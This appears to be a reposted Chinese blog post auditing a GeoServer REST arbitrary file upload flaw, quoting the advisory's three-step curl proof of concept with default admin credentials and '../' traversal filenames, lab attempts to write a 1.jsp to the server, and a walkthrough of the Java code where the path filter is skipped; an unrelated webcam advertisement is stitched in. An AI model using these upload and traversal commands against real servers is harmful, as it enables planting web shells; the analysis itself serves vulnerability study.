geoserver代码审计

渗透技巧 7个月前 admin
177 0 0


免责声明:


本文所涉及的任何技术、信息或工具,仅供学习和参考之用。请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。








官网poc分析



100这款电脑外接摄像头,它不仅具有高清晰度和稳定的拍摄焦、光学防抖、智能降噪等多项实用特点。它采用了先进的图像处理技术,可以提供高达4K分辨率的清晰画质,让视频通话效果更清晰,色彩更鲜艳。

https://github.com/geoserver/geoserver/security/advisories/GHSA-9v5q-2gwq-q9hq


PoCStep 1 (create sample coverage store):curl -vXPUT -H"Content-type:application/zip" -u"admin:geoserver" --data-binary @polyphemus.zip "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.imagemosaic"Step 2 (switch store to absolute URL):curl -vXPUT -H"Content-Type:application/xml" -u"admin:geoserver" -d"file:///{absolute path to data directory}/data/sf/filewrite" "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite"Step 3 (upload arbitrary files):curl -vH"Content-Type:" -u"admin:geoserver" --data-binary @file/to/upload "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.a?filename=../../../../../../../../../../file/to/write"Steps 1 & 2 can be combined into a single POST REST call if local write access to anywhere on the the file system that GeoServer can read is possible (e.g., the /tmp directory).

准备一个影响范围内的环境

geoserver代码审计

第一步结果

curl -v -u "admin:geoserver" -XPUT -H "Content-type:application/zip" --data-binary @123.zip "http://192.168.72.186:8080/geoserver/rest/workspaces/topp/coveragestores/test1/file.imagemosaic"*   Trying 192.168.72.186:8080...* Connected to 192.168.72.186 (192.168.72.186) port 8080* Server auth using Basic with user 'admin'> PUT /geoserver/rest/workspaces/sf/coveragestores/test1/file.imagemosaic HTTP/1.1> Host: 192.168.72.186:8080> Authorization: Basic YWRtaW46Z2Vvc2VydmVy> User-Agent: curl/8.4.0> Accept: */*> Content-type:application/zip> Content-Length: 314425>* We are completely uploaded and fine< HTTP/1.1 201 Created< X-Frame-Options: SAMEORIGIN< Content-Disposition: inline;filename=f.txt< Content-Type: application/xml< Transfer-Encoding: chunked< Server: Jetty(9.4.48.v20220622)<<coverageStore>  <name>test1</name>  <type>ImageMosaic</type>  <enabled>true</enabled>  <workspace>    <name>sf</name>  </workspace>  <__default>false</__default>  <dateCreated>2024-04-15 03:22:51.475 UTC</dateCreated>  <disableOnConnFailure>false</disableOnConnFailure>  <url>file:data/sf/test1</url></coverageStore>* Connection #0 to host 192.168.72.186 left intact

通过本地环境的目录,我们可以发现在data/sf目录下生成了刚刚上传的test1文件夹

geoserver代码审计

第二步结果

curl -v XPUT -H "Content-Type:application/xml" -u "admin:geoserver" -d "file:///opt/geoserver/data_dir/data/sf/test1" "http://192.168.72.186:8080/geoserver/rest/workspaces/sf/coveragestores/test1"* Could not resolve host: XPUT* Closing connectioncurl: (6) Could not resolve host: XPUT*   Trying 192.168.72.186:8080...* Connected to 192.168.72.186 (192.168.72.186) port 8080* Server auth using Basic with user 'admin'> POST /geoserver/rest/workspaces/sf/coveragestores/test1 HTTP/1.1> Host: 192.168.72.186:8080> Authorization: Basic YWRtaW46Z2Vvc2VydmVy> User-Agent: curl/8.4.0> Accept: */*> Content-Type:application/xml> Content-Length: 44>< HTTP/1.1 405 Method Not Allowed< X-Frame-Options: SAMEORIGIN< Allow: GET,PUT,DELETE< Content-Length: 0< Server: Jetty(9.4.48.v20220622)<* Connection #1 to host 192.168.72.186 left intact
个人理解为将第一步上传的文件夹内容映射到geoserver的workspaces中,经过第二步可以正常从web端的rest接口访问到test1了

geoserver代码审计

第三步结果
curl -v -H "Content-Type: multipart/form-data" -u "admin:geoserver" --data-binary @1.jsp "http://192.168.72.186:8080/geoserver/rest/workspaces/sf/coveragestores/test1/file.a?filename=../../../../../../../../../../../../../1.jsp*   Trying 192.168.72.186:8080...* Connected to 192.168.72.186 (192.168.72.186) port 8080* Server auth using Basic with user 'admin'> POST /geoserver/rest/workspaces/sf/coveragestores/test1/file.a?filename=../../../../../../../../../../../../../1.jsp HTTP/1.1> Host: 192.168.72.186:8080> Authorization: Basic YWRtaW46Z2Vvc2VydmVy> User-Agent: curl/8.4.0> Accept: */*> Content-Type: multipart/form-data> Content-Length: 105>< HTTP/1.1 500 Server Error< X-Frame-Options: SAMEORIGIN< Content-Type: text/plain< Transfer-Encoding: chunked< Server: Jetty(9.4.48.v20220622)<Error while storing uploaded file:* Connection #0 to host 192.168.72.186 left intact
很明显是上传失败

geoserver代码审计

到这一步曾经一度怀疑是`http://192.168.72.186:8080/geoserver/rest/workspaces/sf/coveragestores/test1/file.a?`当中这个a参数的问题,或者是workspaces的类型有权限的限制,多次fuzz之后依然是500的报错结果,于是进行代码审计





代码审计



tomcat启动项目,重复上述步骤
追踪调用栈信息
org.geoserver.rest.RestException 500 INTERNAL_SERVER_ERROR: Error while storing uploaded file:  at org.geoserver.rest.catalog.AbstractStoreUploadController.handleFileUpload(AbstractStoreUploadController.java:90)

geoserver代码审计

可以看到在最后一步抛出了异常。根据漏洞通告,可以知道这是REST功能导致的任意文件上传,filename即是我们上传的../../../恶意文件,如果file为null,则自动命名为store的名称加format参数,我们传入的filename肯定不是null,于是跟进RESTUtils.handleURLUpload这个函数

geoserver代码审计

大致意思是判断Content-Type的类型,如果不是zip文件,则执行路径映射

geoserver代码审计

geoserver代码审计

getBaseName,getName这两个对于文件名处理的函数都没看出可疑的点,那么根据调用堆栈继续分析

at org.geoserver.rest.catalog.AbstractStoreUploadController.handleFileUpload(AbstractStoreUploadController.java:90)  at org.geoserver.rest.catalog.CoverageStoreFileController.doFileUpload(CoverageStoreFileController.java:457)  at org.geoserver.rest.catalog.CoverageStoreFileController.coverageStorePost(CoverageStoreFileController.java:120)




geoserver代码审计

doFileUpload函数中,可以看到对于directory(文件目录)的处理逻辑,是RESTUtils.createUploadRoot函数处理的,继续跟进

geoserver代码审计

if (coverage != null) {      if (workspaceName == null              || coverage.getWorkspace().getName().equalsIgnoreCase(workspaceName)) {          // If the coverage exists then the associated directory is defined by its URL          String url = coverage.getURL();          String path;          if (url.startsWith("file:")) {              path = URLs.urlToFile(new URL(url)).getPath();          } else {              path = url;          }          directory = Resources.fromPath(path, catalog.getResourceLoader().get(""));      }  }
着重分析RESTUtils.createUploadRoot中的这段代码 解释一下:判断coverage和workspaces是否为空,如果不是那么调用coverage.getURL()函数来获取path
查看getURL()如下

geoserver代码审计

会读取配置文件中url的值,回顾之前poc的第一步,我们可以发现test1这个store的配置,其中url指向了data/sf/test1
curl -v -u "admin:geoserver" -XPUT -H "Content-type:application/zip" --data-binary @123.zip "http://192.168.72.186:8080/geoserver/rest/workspaces/topp/coveragestores/test1/file.imagemosaic"*   Trying 192.168.72.186:8080...* Connected to 192.168.72.186 (192.168.72.186) port 8080* Server auth using Basic with user 'admin'> PUT /geoserver/rest/workspaces/sf/coveragestores/test1/file.imagemosaic HTTP/1.1> Host: 192.168.72.186:8080> Authorization: Basic YWRtaW46Z2Vvc2VydmVy> User-Agent: curl/8.4.0> Accept: */*> Content-type:application/zip> Content-Length: 314425>* We are completely uploaded and fine< HTTP/1.1 201 Created< X-Frame-Options: SAMEORIGIN< Content-Disposition: inline;filename=f.txt< Content-Type: application/xml< Transfer-Encoding: chunked< Server: Jetty(9.4.48.v20220622)<<coverageStore>  <name>test1</name>  <type>ImageMosaic</type>  <enabled>true</enabled>  <workspace>    <name>sf</name>  </workspace>  <__default>false</__default>  <dateCreated>2024-04-15 03:22:51.475 UTC</dateCreated>  <disableOnConnFailure>false</disableOnConnFailure>  <url>file:data/sf/test1</url></coverageStore>* Connection #0 to host 192.168.72.186 left intact


那么此时的path值就是data/sf/test1

再跟进directory = Resources.fromPath(path, catalog.getResourceLoader().get(""));这个函数

geoserver代码审计

可以看到,当file是绝对路径的时候,return Files.asResource(file),是Files类型,跟进asResource,会返回ResourceAdaptor(file),而这里正是官方打补丁的地方

geoserver代码审计


geoserver代码审计

我们返回来看500报错的调用栈

geoserver代码审计

geoserver代码审计

directory调用了get方法,其中的itemPath参数是从我们传入的../../../../xxx.jsp转换的,最终返回newFile,跟踪这个get方法

geoserver代码审计

继续跟踪path方法 

geoserver代码审计


geoserver代码审计

在toPath方法中找到了之前丢出的500报错reportInvalidPath

geoserver代码审计

INVALID函数会对...进行过滤

geoserver代码审计

过滤的原因是因为此时的directory是Resource类型,调用的get有过滤的逻辑 但是当directory是Files类型时,我们再来看他的get方法

geoserver代码审计


geoserver代码审计

geoserver代码审计

可以看到没有做任何过滤,这也就导致了漏洞的产生
第一反应,这洞不仅需要后台登录,又需要设置store的url配置为绝对路径,而绝对路径又怎么得知??这不是个垃圾洞么 经过摸索,发现可以通过其他手段解决以上问题,详情见知识星球。

geoserver代码审计

由于该漏洞可利用资产比较多,防止恶意利用,公众号回复

关键字20240422获取POC
点击下方名片进入公众号,欢迎关注!

                                                                   geoserver代码审计  

点个小赞你最好看



原文始发于微信公众号(影域实验室):geoserver代码审计

版权声明:admin 发表于 2024年4月22日 下午4:05。
转载请注明:geoserver代码审计 | CTF导航

相关文章